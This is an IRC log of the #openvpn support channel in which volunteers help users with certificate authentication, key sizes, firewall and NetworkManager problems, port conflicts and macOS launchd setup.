00:04 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
00:11 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
00:14 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
00:19 -!- sebastian_kreutz [~Sebastian@cip-109-107-37-39.gb1.brightbox.com] has quit [Remote host closed the connection]
00:52 -!- Six6siX_ [~six6@jasmine1.sammybakar.com] has joined #openvpn
00:54 -!- fling_ [~fling@fsf/member/fling] has joined #openvpn
00:55 -!- Six6siX [~six6@jasmine1.sammybakar.com] has quit [Ping timeout: 272 seconds]
00:55 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
00:55 -!- fling [~fling@fsf/member/fling] has quit [Ping timeout: 272 seconds]
00:55 -!- Six6siX_ is now known as Six6siX
00:57 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
01:06 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
01:11 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
01:22 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
01:22 -!- fling_ is now known as fling
01:24 -!- Guest37537 [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
01:29 <@krzee> !route_override
01:29 <@vpnHelper> "route_override" is (#1) https://forums.openvpn.net/viewtopic.php?f=15&t=7161 for how to override --redirect-gateway for a certain subnet or (#2) to see how to make it so the client will still reply to requests to its public ip over the internet and not the vpn see !splitroute
01:30 <@krzee> when SebastianKreutzb comes back, someone shoot that to him :D
01:32 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:43 -!- SebastianKreutzb [~Sebastian@cip-109-107-37-39.gb1.brightbox.com] has joined #openvpn
01:53 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
01:57 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
02:12 -!- Denial [Denial@2.223.161.125] has joined #openvpn
02:20 -!- s0meone [someone@2600:3c01::f03c:91ff:fedf:feb8] has quit [Ping timeout: 240 seconds]
02:20 -!- s0meone [someone@2600:3c01::f03c:91ff:fedf:feb8] has joined #openvpn
02:21 -!- batrick [batrick@nmap/developer/batrick] has quit [Ping timeout: 243 seconds]
02:23 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
02:27 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
02:46 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Read error: Operation timed out]
02:46 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
03:03 -!- MorgyN_ is now known as MorgyN
03:05 -!- asdf- [~x@unaffiliated/asdf-] has quit [Ping timeout: 246 seconds]
03:16 -!- Ziber [~Liber@liber.in] has quit [Ping timeout: 245 seconds]
03:17 -!- Ziber [~Liber@liber.in] has joined #openvpn
03:26 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
03:28 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
03:28 -!- mode/#openvpn [+o dazo_afk] by ChanServ
03:28 -!- dazo_afk is now known as dazo
03:38 -!- ex0a [~high@unaffiliated/ex0a] has quit [Ping timeout: 260 seconds]
03:41 -!- ex0a [~high@unaffiliated/ex0a] has joined #openvpn
03:49 -!- takamichi [~takamichi@217.23.15.212] has quit [Read error: Operation timed out]
03:53 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
04:59 -!- jimmy__ [~jimmy@78.177-64-87.adsl-dyn.isp.belgacom.be] has joined #openvpn
05:20 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
05:20 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
05:22 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
05:22 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
05:22 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
05:24 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
05:27 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
05:28 -!- Fohlen [~Fohlen@static.196.152.46.78.clients.your-server.de] has quit [Ping timeout: 245 seconds]
05:29 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
05:30 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
05:31 -!- Fohlen [~Fohlen@static.196.152.46.78.clients.your-server.de] has joined #openvpn
05:52 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
06:03 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
06:22 -!- SebastianKreutzb [~Sebastian@cip-109-107-37-39.gb1.brightbox.com] has quit [Remote host closed the connection]
06:32 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
06:41 -!- wsky [~wsky@unaffiliated/cetra] has joined #openvpn
06:41 < wsky> hey
06:41 < wsky> question
06:41 < wsky> are you guys familiar with tunnelblick?
06:41 < wsky> i have an annoying issue with it on mavericks
06:43 < wsky> which is, when my internet connection breaks (due to my isp network configuration) it doesnt reconnect. the logwindow shows "ERROR: can't ifup" or something similar
06:44 < wsky> is it because it was running on nogroup and nobody privileges?
06:44 < wsky> i mean the client was nogroup and no body set up
06:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:53 -!- andi___ is now known as andi
06:53 -!- andi [~andi@shell.sixhop.net] has quit [Changing host]
06:53 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
06:59 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:03 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 264 seconds]
07:19 <@ecrist> wsky: I'm familiar with tunnelblick
07:19 <@ecrist> you really need to ask those folks about that question, though
07:19 <@ecrist> there are quite a few mac-specific scripts and that error is not an actual openvpn issue
07:20 < wsky> i just restarted my openvpn linux server, the mac client reconnected after a minute or so
07:21 < wsky> however i'd have to yank the isp connection to check the issue i described
07:21 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
07:21 < wsky> because someone somewhere said it might be because of running the client on nobody
07:22 < wsky> so i've change that
07:22 < wsky> ecrist: have they got an irc channel?
07:22 <@ecrist> no idea
07:22 <@ecrist> I think most of their stuff goes through a ticket system on google code
07:23 < wsky> meh i'm not comfortable with bug trackers :/
07:23 <@ecrist> that's hardly our problem
07:23 < wsky> but it seems to be my problem
07:23 < wsky> yeah lol
07:39 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
07:46 -!- nobit [~nobit@unaffiliated/muska] has quit [Ping timeout: 240 seconds]
07:47 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Quit: Konversation terminated!]
07:48 < jimmy__> hello people
07:48 < jimmy__> I am awefully confised after hours of googling and trying to get openvpn working
07:48 < jimmy__> So I will ask some questions
07:48 < jimmy__> :)
07:49 < jimmy__> First. The client files. How does openvpn know where to look?
07:49 -!- nobit [nobit@unaffiliated/muska] has joined #openvpn
07:50 <@ecrist> jimmy__: openvpn expects to be called with options on the command line
07:50 <@ecrist> see the man page
07:50 <@ecrist> !man
07:50 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
07:50 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
07:51 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 260 seconds]
07:51 < jimmy__> I have made a config file for it using the example conifg. But I can't find the reference to the client files
07:51 < jimmy__> Are those options in there?
07:53 < jimmy__> i know it reads the server.conf file because I had to solve some errors before it wanted to start :)
07:54 -!- valent [~valentt@unaffiliated/valent] has joined #openvpn
07:54 < valent> Hello
07:55 < valent> I still can't find a good place that explains what each field in certificate stands for, if anybody has link to an some articles it would be much appreciated.
07:56 < valent> For example what does "export KEY_OU=" and "export PKCS11_MODULE_PATH=" be set to ?
07:56 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 272 seconds]
07:57 < valent> can I just delete fields that I don't use?
07:59 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
08:04 <@ecrist> jimmy__: usually, openvpn is called like so:  openvpn --config <filename>
08:04 <@ecrist> you should use full-paths in the config file
08:04 <@ecrist> unless you use --cd 
08:05 <@ecrist> valent: you can't just delete required fields
08:05 <@ecrist> are you using easy-rsa?
08:16 < valent> I'm using easy-rsa
08:17 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
08:20 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
08:25 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
08:27 < jimmy__> ecrist, I use full paths
08:27 < jimmy__> and i start openvpn with /etc/ini.d/openvpn start
08:27 < jimmy__> the config file is loaded in there
08:30 -!- takamichi [~takamichi@217.23.15.212] has quit [Read error: Operation timed out]
08:31 < valent> do you all use default cipher or change to aes?
08:31 <@ecrist> jimmy__: most people use an init script.  however, we don't support them here
08:31 < jimmy__> ok
08:31 <@ecrist> too many variations, each distro/OS uses their own
08:32 <@ecrist> we will help you run your vpn manually, with options on the cli
08:32 <@ecrist> broken init scripts aren't ours to troubleshoot, though
08:32 <@ecrist> valent: I use the default
08:32 < jimmy__> I have my config in a conf file.
08:32 < valent> my clients will be openwrt embedded devices, so I need some light but still secure cipher
08:32 < jimmy__> my init isnt broken openvpn runs fine. Its just I do not know how to lat users log in to it
08:32 < valent> blowfish is default
08:33 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 260 seconds]
08:33 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
08:34 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
08:36 -!- LeLion [~LeLion@c-98-254-215-119.hsd1.fl.comcast.net] has quit [Read error: Connection reset by peer]
08:36 -!- LeLion [~LeLion@c-98-254-215-119.hsd1.fl.comcast.net] has joined #openvpn
08:41 <@ecrist> jimmy__: so, what is  your question?
08:42 < jimmy__> Well. How does openvpn see where its user files are? I created a linux user and now I a looking for a way to tell openvpn to use the user
08:42 < jimmy__> I created a .key for the user etc so I think thats ok
08:46 < rob0> I think you're confused. See --user in the man page; that's the user to which openvpn drops privilege. System authentication is not done for a connecting client unless you do it via a script.
08:47 < rob0> The howto shows a client/server with TLS certificate authentication.
08:48 < jimmy__> I am trying to do the howto :)
08:48 < jimmy__> The user it runs under is already nobody so thats ok
08:48 < jimmy__> I just cant figure out how to get the clients working :)
08:48 < jimmy__> I mean, the client auth
08:48 < rob0> !pki
08:48 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
08:48 <@vpnHelper> signed specially as a server (see !servercert) or (#3) See !certman for various PKI management frontends
08:50 < jimmy__> mmm i ll try and figure out what I did wrong for now
08:50 < jimmy__> I understand the conept I think, Its just excution where I am lacking
08:54 < jimmy__> Ah found my first answer! Client-config-dir :)
08:54 < rob0> !ccd
08:55 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
08:55 < jimmy__> Is it neccesary for every end user to create a client config? Or can by example 4 client pc's connect to the server with the same username
08:57 < rob0> By default, one certificate == one client. This can be overridden, but there are drawbacks to that. Why not just make 4 certificates for 4 clients?
08:58 < jimmy__> Yeah I will do that once I have it working for one user.
08:58 < jimmy__> We have only four users atm so that will be ok
09:02 < jimmy__> The part I do not get is: I have created a server and client config. (basicly I kept the example files but changed the paths to the generated keys)
09:03 < jimmy__> I am wondering now how to auth. Where is the passwd etc?
09:03 < jimmy__> or is the key the only authentication?
09:03 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has joined #openvpn
09:06 < rob0> "changed the paths to the generated keys"? Huh?
09:06 < rob0> that makes no sense at all.
09:06 < jimmy__> i ll give an example
09:07 < rob0> I did already say that the authentication is with TLS certificates.
09:07 < jimmy__> ca ca.crt
09:07 < jimmy__>  77 cert novation.crt
09:07 < jimmy__>  78 key novation.key
09:07 < jimmy__> sorry the numbers come from vim
09:09 < rob0> okay, so the certificate common name is part of the filename, fine.
09:09 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
09:09 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
09:09 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
09:09 < jimmy__> as you can see I don't know a whole lot about keys etc :)
09:13 < valent> creating 2048 long key takes long time :)
09:14 < valent> do you mostly stick to 1024 bit long key or prefer 2048 ?
09:15 <+pekster> jimmy__: Using client certificates, there's no "password" per se, though it is wise to secure the client's private key file on-disk by using an encrypted key file; otherwise if the machine is stolen or tampered with the raw key can be recovered
09:22 < jimmy__> Ok i understand that
09:22 < jimmy__> I just dont know ho to connect now. But I will do some more reading and ask specific questions if I need to
09:24 <+pekster> valent: 2048 is preferred these-days; 1024-bit asymmetric keys are within the realm of brute-force potential by some of the world's larger comupting clusters
09:31 < valent> thanks
09:32 < valent> do larkey asymetric keys take up more memory while establishing key echange. I'll be using openwrt based systems with 64-128 MB of ram.
09:32 < valent> larkey - larger
09:40 <+pekster> 2048 keys are fine. You could use 4096 bit too, but those will take needlessly long both to generate (especially the DH params) and to handshake. Mostly just CPU though, not memory
09:41 <+pekster> I've run openvpn on openwrt systems with 32 MB of RAM. I've done it on 16M too, but that's really too little memory with the rest of the OS running
09:42 -!- Guest37537 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 260 seconds]
09:53 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
09:55 -!- mappo [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
09:57 -!- scyld [~scyld@unaffiliated/wasyl] has joined #openvpn
09:58 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 260 seconds]
10:10 -!- scyld [~scyld@unaffiliated/wasyl] has quit [Quit: Wychodzi]
10:18 -!- ZeK__ [~umeda@109.237.241.5] has joined #openvpn
10:18 < ZeK__> Hi everybody
10:19 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 246 seconds]
10:26 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Ping timeout: 246 seconds]
10:27 -!- mmikeym [~mikeym@184.70.65.118] has joined #openvpn
10:40 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
10:41 -!- LeLion [~LeLion@c-98-254-215-119.hsd1.fl.comcast.net] has quit [Ping timeout: 272 seconds]
10:42 -!- jimmy__ [~jimmy@78.177-64-87.adsl-dyn.isp.belgacom.be] has quit [Quit: Leaving]
10:43 < ZeK__> I set up a VPN server and client
10:44 < ZeK__> Server has this ifconfig : inet addr:10.8.0.1  P-t-P:10.8.0.1  Mask:255.255.255.0
10:44 < ZeK__> Client got this : inet addr:10.8.0.2  P-t-P:10.8.0.2  Mask:255.255.255.0
10:44 < ZeK__> But i absolutely can't contact the client from the server or the other way around
10:45 < ZeK__> dev tun / topology subnet
10:45 < ZeK__> I can't understand why
10:45 <+pekster> Sounds like a firewall disallowing the traffic acrosos the tun adapter
10:46 <+pekster> Are you using a TLS mode or static key config?
10:46 < ZeK__> Server has keys
10:46 <+pekster> Both setups have keys
10:46 < ZeK__> And the client uses only username / password
10:47 <+pekster> Pretty sure you have a firewall issue then
10:48 < ZeK__> This is my config : http://pastebin.com/FDxfAFRW
10:48 < rob0> um, no, look again. The peer address is not the other end of the tunnel, it is itself
10:48 < ZeK__> No it's a copy pasta error
10:48 <+pekster> That's how it looks when you ask ifconfig to show your tun device in topology subnet rob0
10:49 < ZeK__> Wait no
10:49 < rob0> oh, yuck. Another reason to get rid of ifconfig
10:49 <+pekster> It's still current on BSD's, and we don't know the client OS yet ;)
10:50 <+pekster> (then again, BSDs actually maintained theirs. The Linux version is based on an _old_ BSD version and left to rot)
10:50 < ZeK__> What do you mean with " The peer address is not the other end of the tunnel, it is itself" ?
10:51 <+pekster> ZeK__: No, that was a mis-reading of the ifconfig details. Your setup looks fine, although add `--keepalive 5 30` to your server so you know if the connection times out on either end, then restart both ends
10:51 <+pekster> If the setup doesn't time out and you still can't ping 10.8.0.1 from your client, that means you have a firewall problem
10:51 < ZeK__> Yeah i stripped the config to the bare minimum, the keepalive was here before
10:52 < ZeK__> Okay i'll look into the firewall isues
10:52 < ZeK__> Thanks :)
10:52 <+pekster> Focus on the tun device, since that's where traffic is apparently getting dropped; the encapsulating traffic seems okay if you're able to connect
10:54 < ZeK__> Next question : when i'm using Ubuntu's network manager, i have to check "Use this connection only for resources on its network", otherwise i loose connectivity to the internet. Is it a well known newbie trap ?
10:54 < ZeK__> And my VPN isn't configured to override the gateway
10:55 <+pekster> No clue. Try running openvpn from the command line. It that does what you want, go ask the downstream folks who maintain network-manager for details
10:55 <+pekster> Folks here don't recommend network-manager; YMMV.
10:55 < ZeK__> Okay :)
10:56 <+pekster> It's quite possible that plays into ubuntu's dbus/dnsmasq/resolvconf mess, and that's a full day of reading if you actually wish to understand the internals at work there
10:59 < ZeK__> ufw is disabled on both ends, iptables is empty on the client and only has tcp rules (failban ssh) on the server end
10:59 <+pekster> Both ends run Linux? In that case, stop using ifconfig!
10:59 <+pekster> !ifconfig_linux
10:59 <@vpnHelper> "ifconfig_linux" is Avoid use of 'ifconfig' and 'route' commands on modern Linux distros. It's old, deprecated, and often misleading/wrong. Use the 'ip a' and 'ip r' commands instead. More info: http://inai.de/2008/0219-ifconfig-sucks.php
10:59 <+pekster> ufw doesn't really mean much either (it's a frontend.)
10:59 <+pekster> See:
10:59 <+pekster> !netfilter
10:59 <@vpnHelper> "netfilter" is Under Linux, use `iptables-save` to show firewall rulesets (add -c to include counters.) Do not use iptables -L as it is incomplete & often lies. #netfilter is more on-topic for detailed help.
11:01 <+pekster> If you're still confused, also include a client config and the following output from both sides of your connection: `ip r` & `iptables-save`
11:02 < ZeK__> Okay, i dropped the network manage of ubuntu and started the client using the command line
11:02 < ZeK__> It works flawlessly >_<
11:03 <+pekster> Then your problem is clearly NM
11:03 <+pekster> It comes ill-recommended here for a reason
11:03 < ZeK__> Yep, i got the lesson
11:03 < ZeK__> :)
11:03 < ZeK__> Thanks for the help
11:03 <+pekster> (in short: it sucks at controlling openvpn.) If you want improvement, I'd suggesting getting involved with that project
11:16 -!- linuxthefish [~linuxthef@185.17.148.101] has joined #openvpn
11:16 < linuxthefish> where is openvpn log?
11:16 < linuxthefish> it won't start...
11:16 < linuxthefish> [FAIL] Starting virtual private network daemon: openvpn server failed!
11:17 <@EugeneKay> !logs
11:17 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
11:17 <@EugeneKay> !logfile
11:17 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
11:19 < linuxthefish> Nov  6 12:19:29 box3 ovpn-server[29744]: TCP/UDP: Socket bind failed on local address [undef]: Address already in use
11:19 < linuxthefish> :S
11:21 <+pekster> Something is already listening on the configured port. Stop that other service, or use a new port. For clients, use of --nobind is usually wise
11:21 < linuxthefish> it's listing openvpn as running on port 29854 but it failed to start...
11:21 <+pekster> initscript are sometimes poorly configured and don't actually wait for the openvpn process to stop on restarts, so it tries to start another instance before the old one is stopped
11:24 < linuxthefish> how strange :S
11:26 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 264 seconds]
11:27 < linuxthefish> it's openvpn --config /etc/openvpn/server.conf to run manually?
11:28 <+pekster> Yup
11:29 < linuxthefish> thanks, I installed from an autmatic setup script :(
11:31 < wsky> so, any hints on runing openvpn on osx mavericks?
11:31 < wsky> i'm pondering about how to create tun/tap excluding tunnelblick which appears to crash my whole networking nowdays
11:32 < wsky> ok, so there is tuntaposx package in macports
11:33 <@ecrist> wsky: I run it without a problem.
11:33 <@ecrist> I'd lean more toward something you're doing wrong.
11:35 < wsky> ecrist: what am i doing wrong
11:35 < wsky> ecrist: i've ran openvpn now, i'm connected to my vpn
11:35 < wsky> but
11:35 < wsky> how to add it to system launch in osx
11:37 <@ecrist> you need to create an entry for launchd and call it from the command line
11:38 <@ecrist> see here: http://www.secure-computing.net/wiki/index.php/Mac_OS_X
11:39 <@vpnHelper> Title: Mac OS X - Secure Computing Wiki (at www.secure-computing.net)
11:39 <@ecrist> at the bottom of the page, you'll see some entries about launchd
11:39 <@ecrist> I thought I'd written something about how to do it
11:39 <@ecrist> I think it was routing related
11:40 -!- esde [~esde@unaffiliated/esde] has quit [Ping timeout: 246 seconds]
11:41 <@ecrist> ah, here it is
11:41 <@ecrist> http://www.secure-computing.net/wiki/index.php/Leopard_Static_Routes
11:41 <@vpnHelper> Title: Leopard Static Routes - Secure Computing Wiki (at www.secure-computing.net)
11:47 -!- [Derek] [~me@unaffiliated/derek/x-8562683] has joined #openvpn
11:47 < [Derek]> Any good panel with WHMCS to sell VPN Services?
11:48 <@EugeneKay> No.
11:48 -!- esde [~esde@162.218.209.203] has joined #openvpn
11:50 -!- pcdummy [~pcdummy@unaffiliated/pcdummy] has quit [Read error: Connection reset by peer]
11:50 -!- pcdummy [~pcdummy@unaffiliated/pcdummy] has joined #openvpn
11:50 < [Derek]> EugeneKay: Any panel available at all?
11:51 <+pekster> "panel" ?
11:51 <+pekster> OpenVPN is a C program with a CLI interface
11:51 < [Derek]> I know some create there own but there must be a commercial one available
11:51 -!- esde [~esde@162.218.209.203] has quit [Changing host]
11:51 -!- esde [~esde@unaffiliated/esde] has joined #openvpn
11:51 <+pekster> I'm sure many people design/sell interfaces and frontends (OpenVPN Technologies sells one under their own EULA.) None of that is OpenVPN, but the sale of 3rd party commercial software, possibly bundled _with_ openvpn
11:52 <+pekster> #openvpn is for help with OpenVPN.
11:52 <@EugeneKay> I was trying to let him down easy
11:52 <+pekster> Hint not taken :P
11:52 < Ahrotahntee> !goal
11:52 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
11:53 < [Derek]> like http://ifcondition.com/whmcs-openvpn-module.php
11:53  * Ahrotahntee goes back to google
11:53 <@vpnHelper> Title: WHMCS OpenVPN module | Plugin | Integration | System (at ifcondition.com)
11:53 < [Derek]> Do you guys know any good 3rd party software?
11:54 <+pekster> You're asking a channel of FOSS hackers. IMO, all "3rd party software" for that is crap and tends to hide the actual functionality offered
11:55 <@ecrist> [Derek]: you're asking the wrong people.
11:56 < [Derek]> ok, Thanks anyway :)
12:11 -!- linuxthefish [~linuxthef@185.17.148.101] has quit [Killed (idoru (Spam is off topic on freenode.))]
12:15 -!- kirin` [telex@gateway/shell/anapnea.net/x-xipxrupyoiffdsgx] has quit [Ping timeout: 245 seconds]
12:16 -!- kirin` [telex@gateway/shell/anapnea.net/x-jkiukwpfdsngefvo] has joined #openvpn
12:18 -!- Devastator_ [~devas@186.214.110.23] has quit [Changing host]
12:18 -!- Devastator_ [~devas@unaffiliated/devastator] has joined #openvpn
12:18 -!- Devastator_ is now known as Devastator
12:20 < Ziber> :( No more +o.
12:21 < Ziber> It was fun while it lasted.
12:22 <@ecrist> blame it on your shitty internet
12:22 <@ecrist> :P
12:22 < Ziber> :(
12:22 <@ecrist> 03:16:15 -!- Ziber [~Liber@liber.in] has quit [Ping timeout: 245 seconds]
12:22 <@ecrist> 03:17:15 -!- Ziber [~Liber@liber.in] has joined #openvpn
12:22 < Ziber> I have been pinging a bit lately.
12:23 < Ziber> I'm more likely to assume it's my v6 tunnel than the VPS itself.
12:28 -!- XJR-9 [sid2977@pdpc/supporter/active/xjr-9] has quit [Remote host closed the connection]
12:28 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-syayhpprlievcuuv] has quit [Remote host closed the connection]
12:28 -!- lmm [uid6417@gateway/web/irccloud.com/x-sdpcwxuswbpaijko] has quit [Remote host closed the connection]
12:28 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-uxmvdbhlvjqcuccg] has quit [Remote host closed the connection]
12:28 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-cuhtjbjdhzixansb] has quit [Remote host closed the connection]
12:28 -!- b00gz___ [uid6869@gateway/web/irccloud.com/x-nededntujebckcts] has quit [Remote host closed the connection]
12:28 -!- dowaat [uid3966@gateway/web/irccloud.com/x-avbsdczapcvqfftl] has quit [Remote host closed the connection]
12:28 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-xkaruomyfhixtkdm] has quit [Remote host closed the connection]
12:35 <@EugeneKay> Buy a Linode. And use my referral code
12:35 < Ziber> Already have DO, thanks.
12:35 < Ziber> Linode's a bit out of my budget.
12:37 <+pekster> My tunnel is pretty darn stable
12:37 <+pekster> I've had it for a number of months, and it's only dropped out (excluding local causes, like power or equipment failure on my end) once for about an hour
12:37 < Ziber> Well, mine will blip for a minute and come back.
12:38 < Ziber> Rarely, that is.
12:40  * Ahrotahntee waves at Ziber 
12:40 < Ziber> o/
12:40 < wsky> ecrist: can you link me a good article on managing launchd?
12:40 < Ziber> Ahrotahntee: Making progress? :)
12:40 < Ahrotahntee> on which
12:40 < Ziber> You said you wanted to get your VPN to "agree with you".
12:41 < Ahrotahntee> ah, no
12:41 < Ahrotahntee> we're still at odds
12:41 < Ahrotahntee> it's a technical incompetency
12:41 < Ahrotahntee> (I can't figure out what I'm doing)
12:41 < Ziber> I'll help you sometime. Gotta go now though, class is over.
12:42 < Ahrotahntee> o7
12:43 -!- Guest37537 [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
12:45 <@ecrist> wsky: I sent you a link that will do what you need
12:45 <@ecrist> Tunnelblick has some log in/out stuff, too
12:46 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-yanbxhnmecqadbef] has joined #openvpn
12:47 -!- XJR-9 [sid2977@pdpc/supporter/active/xjr-9] has joined #openvpn
12:50 < wsky> ecrist: tunnelblick on mavericks paralizes my networking somehow
12:53 -!- dowaat [uid3966@gateway/web/irccloud.com/x-fxgvvixbxidoxlzn] has joined #openvpn
12:55 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-maoldfisgzomtxxy] has joined #openvpn
12:56 <@ecrist> wsky: ok, I understand that.  what I've already told you is 1) it work fine for me and 2) this isn't tunnelblick support
12:57 -!- maskedlua_ [~quassel@unaffiliated/themaskedlua] has quit [Read error: Operation timed out]
12:58 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
12:58 -!- lmm [uid6417@gateway/web/irccloud.com/x-ojsdjyajqtgoihhs] has joined #openvpn
12:58 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
12:59 -!- b00gz___ [uid6869@gateway/web/irccloud.com/x-fgvheylrdwvxdoti] has joined #openvpn
12:59 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-opjukiycnzofhudy] has joined #openvpn
13:00 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-xbfjcbwyfavlfbjd] has joined #openvpn
13:01 -!- dowaat [uid3966@gateway/web/irccloud.com/x-fxgvvixbxidoxlzn] has quit []
13:03 -!- dowaat [uid3966@gateway/web/irccloud.com/x-hiccgmkxrgoloajr] has joined #openvpn
13:08 < wsky> ecrist: yes but you just told me about it working ok. i made macports openvpn work already so i asked you, a mac user, for any usefull link about adding it up to launchd
13:11 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
13:19 < wsky> anyways, i think i got it
13:19 < wsky> i appreciate your help
13:23 -!- dimitry7 [~antonello@gate.aaamerica.com.mx] has joined #openvpn
13:23 -!- dimitry7 [~antonello@gate.aaamerica.com.mx] has quit [Read error: Connection reset by peer]
13:26 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Read error: Connection reset by peer]
13:28 -!- Martyn [~Martin@216.38.134.150] has joined #openvpn
13:40 -!- linuxthefish [~linuxthef@217.147.84.35] has joined #openvpn
